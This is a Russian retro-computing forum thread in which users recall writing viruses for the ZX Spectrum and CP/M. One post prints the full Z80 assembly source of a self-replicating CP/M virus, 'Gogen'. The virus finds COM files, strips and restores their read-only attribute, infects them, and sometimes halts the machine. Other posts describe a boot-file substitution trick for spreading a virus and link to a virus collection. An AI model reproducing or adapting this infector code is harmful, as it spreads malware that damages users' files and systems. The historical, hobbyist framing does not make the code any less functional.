Недеструктивный вирус который внедрялся в бейсик-загрузчики и я в свое время писал. Было это году в 93 как мне помнится. Штука достаточно несложная.
Недеструктивный вирус который внедрялся в бейсик-загрузчики и я в свое время писал. Было это году в 93 как мне помнится. Штука достаточно несложная.
В году так 95-ом помню ковырял загрузчик игры Toi Acid Game от каких-то Новосибирских умельцев. Загрузчик представлял из себя довольно большой basic блок, после запуска которого загрузка продолжалась с бегущей строкой! Долгие попытки раскурочить ни к чему не приводили. А вот при загрузке basic'а без запуска, и последующим запуском run'ом выводился текст: "Ваш компьютер сломан, выключите его и не пытайтесь ремонтировать сами. За ремонтом обращайтесь по адресу XXX". При этом надпись выводилась через прерывания, и также в порт FE сыпался мусор, издавающий треск И как по совпадению у меня сгорел проц
Последний раз редактировалось drbars; 10.02.2008 в 13:33.
Насчёт полноценных вирусов - было одно и в то же время единственное препятствие: отсутствие жёсткого диска. Распространение же "вируса" через дискеты можно было заметить невооружённым глазом.
Тем не менее "программы-шутки " всё же в середине 1990-х годов рождались. "Классикой жанра" были DZU (от русского ДЗУ - "ДискоЗапарывательная Утилита"). Их проявление легко обнаруживалось, да и авторы не стремились к секретности - как правило, они прилагали и анти-ДЗУ.
В общем, в обиде, вроде, никто ни на кого не был.
Имхо, отсутствие жестокого диска не помеха. Помнится как на моей старой тройке без харда, один маленький и в принципе безвредный вирус (играл спикером музыку в 17:00 ) умудрился расплодиться на всю стопку моих дискет.
А вот то что памяти на Спеке утконос наплакал, да еще и пользователи не стесняются смотреть её содержимое, плюс постоянный аппаратный ресет, да помножить все это на суровую однозадачность... Вот тут-то, кажись, и препятствие к распространению вирусов.
иЗвиНиТЕ зА НеРоВНый ПочЕРк!
Я в 1996г. по-приколу состряпал вирус для CP/M и скормил его приятелю. Он его вычислил как раз по "лишним" перемещениям головки дисковода. Но к тому моменту несколько дискет было уже заражено...
В сохранившейся версии деструктор примитивный: сообщение + di halt, а еще была более навороченная версия, сожавшая резидента (штатно по-CPM-овски: опуская верхнюю границу TPA, или в служебное ОЗУ), которая при выводе на экран и принтер иногда по RND вставляла после запятых артикль "бля" (это плагиат с PC).
Код:.z80 ; bdos equ 5 dma equ 0C280h ; virus: ld hl,mbody ld de,gogen ld bc,endgogen-gogen ; подготовить запускалку файла call lldir ld a,(counter) ; счетчик копий вируса and 1FH push af inc a ld (counter),a ; next: call setdma ; поиск жертвы ld c,17 call bdosfcb nfnd: ld hl,fcb+1 ld de,fcb+2 ld bc,7 ld (hl),'?' call lldir cp 4 jp nc,nfound ld c,18 call bdosfcb ; ищем файл, следующий за зараженным cp 4 jp c,lab1 ; nfound: ld c,17 call bdosfcb cp 4 jp nc,gogen lab1: rrca rrca rrca ; a:=a*32 - отн. адрес каталога в DMA ld b,0 ld c,a ld hl,dma add hl,bc ; hl= абсолют. адрес каталога в DMA ld de,fcb ld bc,9 call lldir ; копию имени из DMA -> в fcb ld a,(hl) rla ; c=0 , если файл не установлен в R/O push af ld c,30 call c,bdosfcb ; иначе сбросить атрибут R/O call open ld c,35 call bdosfcb ; вычислим продвинутый размер файла (размер+1) ld hl,(fcb+21h) ; в 128-и байтных записях ld a,h or l jp z,nfnd ; Длина файла = 0 => выйти push hl inc hl inc hl ld b,7 loop3: add hl,hl dec b jp nz,loop3 ld (mbody+1),hl ; hl=начало последнего сектора в памяти ; ld de,dma call read ; считаем первую запись файла в (0c280h) ld de,dma+80h call read ; считаем вторую запись файла в (0c300h) ld de,dma+100h call read ; считаем 3-ю запись файла в (0c380h) ; call open ; открыть файл ld de,100h call write ; записать модифицированный 1-й сектор ld de,180h call write ; записать модифицированный 2-й сектор ld de,200h call write ; записать модифицированный 3-й сектор pop hl ld de,dma call append1 ; добавить к файлу запись с адр. 0c280h ld de,dma+80h call append ; добавить к файлу запись с адр. 0c300h ld de,dma+100h call append ; добавить к файлу запись с адр. 0c380h ld c,16 call bdosfcb ; закрыть файл ; pop af jp nc,killer ; переход , если файл не был R/O ld hl,(fcb+9) ld a,(hl) or 80h ld (hl),a ld c,30 call bdosfcb ; иначе установить атрибут R/O ; killer: pop af ; п/п деструктивного действия jp nz,gogen ld de,orion ld c,9 call bdos di ; вешаем машину halt orion: db 1fh,'Hello! I',39,'m Gogen. Good luck!!!','$' counter:db 1 ; open: LD HL,FCB+12 LD DE,FCB+13 LD BC,17H LD (HL),0 call lldir ld c,15 bdosfcb:ld de,fcb jp bdos ; открыть файл ; setdma: ld de,dma setpdp: ld c,26 jp bdos ; установим адрес буфера DMA ; read: call setpdp ld c,20 jp bdosfcb ; считаем запись файла в DMA (по DE) ; write: call setpdp ld c,21 jp bdosfcb ; пишем запись из DMA (по DE) в файл ; append: ld hl,(fcb+21h) inc hl append1:ld (fcb+21h),hl call setpdp ld c,34 jp bdosfcb ; добавить запись из DMA (по DE) к файлу ; lldir: push af mldir: ld a,(hl) ld (de),a inc hl inc de dec bc ld a,b or c jp nz,mldir pop af ret ; mbody: .phase 0edh gogen: ld hl,100h ld de,100h ld bc,180h ldirr: ld a,(hl) ld (de),a inc hl inc de dec bc ld a,b or c jp nz,ldirr endgogen: .dephase ; fcb: ds 9h,0 db 'COM' ds 18h,0 end
Последний раз редактировалось Error404; 19.02.2008 в 14:44.
Лучше сделать и жалеть, чем не сделать и жалеть.
Некоторые из моих поделок тут: https://github.com/serge-404
меня помню интересовала идея именно наличия концептуальной возможности написания вирусов для спектрума.. пришел к выводу, что достаточно несложная задача если использовать психологические особенности человека, иммитируя вирусом сбро компьютера, так как никто после этого как правило кнопку RESET повторно не нажимает давая возможность к резидентному существованию кода злоумышленника в памяти
С любовью к вам, Yandex.Direct
Размещение рекламы на форуме способствует его дальнейшему развитию
Хотел сделать вирус в 1996. Ничего не получилось (глюки и всё такое ). Должен был "паразитировать" на конкретном буте, т.е. использовать его для размножения.
Как сделать чтобы он мог прикрепляться к любому файлу, запускаться при запуске этого файла и при этом не нарушать работоспособность зараженного файла я придумать не смог. Чтобы вирус мог перебрасываться с диска на диск его нужно цеплять к командеру, либо к буту. Вот я тогда что-то решил к буту прицепить (до командера, видать, не додумался ). В любом случае вирус получается заточенным под конкретную программу/программы которые он будет использовать для размножения.
Имхо, действительно мешал аппаратный reset (систематический. Любая прога выключалась именно им. Смерть вирусу гарантирована). Это значит что у обычных юзеров вирус размножится не мог.
Добавлено через 5 минут
А на писюке всё сделано для комфортного размножения вирусов, потому они на нём и есть. Недавно врубил флэшку, зашел на нее через "мой компутер", и сама винда запустила вирус. Фича называется "autorun". Все вирусы, что у меня были, использовали эту встроенную возможность винды для своего запуска. Сам я эту фичу никогда не использую. Только вирусы используют.
Последний раз редактировалось CPLx; 19.02.2008 в 21:47. Причина: Добавлено сообщение
Я вот тут нарыл:
http://vx.org.ua/exotic.php
В самом низу есть пара вирей для ZX, что делают, пока сам не смотрел, но попробую на эмуле (ввиду отсутствия реала с тырдосом )
Добавлено через 3 минуты
Ба, они русские
На буржуйский сайт каким то образом попали
Последний раз редактировалось ALEXEY.GORDEEV; 15.04.2008 в 18:29. Причина: Добавлено сообщение
Pentagon 1024 SL 2.2 + NemoIDE + ZXMC
Amiga HD600 + 2Mb Chip + 4Mb Fast + Kick3.1 (hardware) + S-Video + CF 512Mb + LAN
Yamaha YIS503IIIR + 1Mb RAM and Mouse by Caro + Yamaha FD-051 + HxC Floppy Emul + Sunrise IDE
Macintosh LCII + 2Gb HDD + FPU + 10Mb RAM
Grape iMac G3/333 + 40Gb HDD + 256Mb RAM
Glacier GBA, GBA SP + EZFlash IV
Commodore 64 + 1541-II + XU1541
Atari 65XE + SD2SIO
Электроника МК-85
Тоже в своё время баловались. Самое элементарное boot в boot_ переименовать (Вместо _ можно не видимый символ из псевдографики забацать). А вирус в качестве boot.B сделать. Ну и соответственно ченить делать, а потом грузить boot_. Надеюсь идея понятна....
Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)